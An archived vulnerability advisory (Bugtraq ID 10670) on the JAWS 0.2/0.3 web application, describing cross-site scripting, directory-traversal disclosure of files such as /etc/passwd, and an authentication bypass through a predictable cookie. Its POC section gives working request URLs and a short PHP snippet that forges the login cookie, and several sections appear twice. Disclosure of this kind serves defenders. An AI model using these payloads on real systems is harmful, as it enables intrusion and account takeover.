JAWS Multiple Input Validation Vulnerabilities
BID:10670
Info
JAWS Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 10670 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 06 2004 12:00AM |
| Updated: | Jul 06 2004 12:00AM |
| Credit: | Discovery of these vulnerabilities is credited to Fernando Quintero <[email protected]>. |
| Vulnerable: |
JAWS JAWS 0.3 JAWS JAWS 0.2 |
| Not Vulnerable: | |
Discussion
JAWS Multiple Input Validation Vulnerabilities
JAWS is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:
JAWS is prone to a cross-site scripting vulnerability.
This cross-site scripting issue can permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer. This attack can allow for theft of cookie-based authentication credentials and other attacks.
JAWS is reported to be prone to a file disclosure vulnerability. The vulnerability presents itself because directory traversal sequences "../.." are not correctly sanitized from user-supplied data. It is reported that an attacker may disclose a target file by including a relative path including directory traversal sequences to the target file as a value for URI parameters passed to the a JAWS script.
An authentication bypass vulnerability is reported to affect the JAWS authentication system. It is reported that an authentication cookie is derived from a known value, a remote attacker may create a cookie and use this cookie to authenticate to the system.
JAWS is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:
JAWS is prone to a cross-site scripting vulnerability.
This cross-site scripting issue can permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer. This attack can allow for theft of cookie-based authentication credentials and other attacks.
JAWS is reported to be prone to a file disclosure vulnerability. The vulnerability presents itself because directory traversal sequences "../.." are not correctly sanitized from user-supplied data. It is reported that an attacker may disclose a target file by including a relative path including directory traversal sequences to the target file as a value for URI parameters passed to the a JAWS script.
An authentication bypass vulnerability is reported to affect the JAWS authentication system. It is reported that an authentication cookie is derived from a known value, a remote attacker may create a cookie and use this cookie to authenticate to the system.
Exploit / POC
JAWS Multiple Input Validation Vulnerabilities
The following examples are available:
http://www.example.com/jaws/index.php?gadget=../../../../../../../../../../etc/passwd%00&path=/etc
http://www.example.com/jaws/index.php?gadget=[a valid gadget]&action=<b>bold letter</b>
http://www.example.com/jaws/index.php?gadget=[a valid gadget]&action=<script>alert('Colombia Rulx!!');</script>
//BEGIN
//exploit.php
<?PHP
setcookie("logged","d41d8cd98f00b204e9800998ecf8427e",time()+86400*365,'path
to jaws');
?>
//END
The following examples are available:
http://www.example.com/jaws/index.php?gadget=../../../../../../../../../../etc/passwd%00&path=/etc
http://www.example.com/jaws/index.php?gadget=[a valid gadget]&action=<b>bold letter</b>
http://www.example.com/jaws/index.php?gadget=[a valid gadget]&action=<script>alert('Colombia Rulx!!');</script>
//BEGIN
//exploit.php
<?PHP
setcookie("logged","d41d8cd98f00b204e9800998ecf8427e",time()+86400*365,'path
to jaws');
?>
//END
Solution / Fix
JAWS Multiple Input Validation Vulnerabilities
Solution:
The vendor has released a security fix to address the file disclosure issue:
JAWS JAWS 0.3
Solution:
The vendor has released a security fix to address the file disclosure issue:
JAWS JAWS 0.3
-
JAWS index.php.txt
http://jaws.com.mx/files/index.php.txt